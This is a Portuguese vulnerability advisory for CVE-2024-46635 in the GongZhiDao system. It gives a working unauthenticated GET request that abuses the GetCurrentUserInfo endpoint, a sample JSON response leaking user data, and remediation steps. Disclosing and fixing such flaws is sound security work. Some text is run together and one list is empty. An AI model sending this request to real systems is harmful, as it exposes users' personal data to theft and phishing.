
Prova de conceito para CVE-2024-46635: uma vulnerabilidade de validação de entrada inadequada no endpoint da API do sistema GongZhiDao que expõe informações confidenciais do usuário sem autenticação.
O Sistema GongZhiDao é uma plataforma desenvolvida pela GongZhiDao. Ela fornece soluções empresariais incluindo gerenciamento de usuários, análise de dados e funcionalidades operacionais. No entanto, uma vulnerabilidade de segurança foi descoberta em um dos endpoints da API que poderia potencialmente levar à exposição de informações sensíveis de usuários sem a devida autorização.
Existe uma vulnerabilidade no endpoint da API /oaa/api/AccountMaster/GetCurrentUserInfo do Sistema GongZhiDao. Ao passar %20 (um espaço codificado por URL) no lugar do parâmetro UserNameOrPhoneNumber, a API responde com informações sensíveis do usuário, incluindo ID da conta, nome de usuário e endereço de e-mail, mesmo sem autenticação ou autorização adequadas. Essa validação de entrada inadequada permite que atacantes obtenham acesso não autorizado a dados sensíveis.
A exploração bem-sucedida desta vulnerabilidade pode levar à exposição de dados sensíveis do usuário, incluindo:
Um atacante poderia usar essas informações para realizar ataques adicionais, como roubo de identidade ou phishing.
Para explorar a vulnerabilidade, um atacante deve enviar uma requisição HTTP GET maliciosa ao endpoint vulnerável da API:
GET /oaa/api/AccountMaster/GetCurrentUserInfo?UserNameOrPhoneNumber=%20 HTTP/2
Esta requisição retorna uma resposta 200 OK com dados sensíveis do usuário em formato JSON:
HTTP/2 200 OK
Date: Tue, 10 Sep 2024 03:25:09 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 153
Server: nginx/1.22.0
X-Powered-By: ASP.NET
Set-Cookie: Path=/; HttpOnly; Secure
{"accountId":"09c05434-e1ff-4436-b1b0-01215e48b274","name":"John","phoneNumber":null,"userName":"19999999999","email1":"[email protected]"}
/oaa/api/AccountMaster/GetCurrentUserInfoUserNameOrPhoneNumber com %20 como entradaImplementar validação de entrada adequada: Garantir que o parâmetro UserNameOrPhoneNumber seja devidamente sanitizado e validado. Entradas como %20 devem ser rejeitadas.
Verificações de autorização: Implementar mecanismos de autorização adequados para garantir que apenas usuários autenticados e autorizados possam acessar informações sensíveis.
Limitação de taxa e monitoramento: Aplicar limitação de taxa aos endpoints da API para evitar ataques de força bruta ou automatizados, e monitorar a atividade da API para padrões de acesso anormais.
Esta vulnerabilidade foi descoberta por hithub.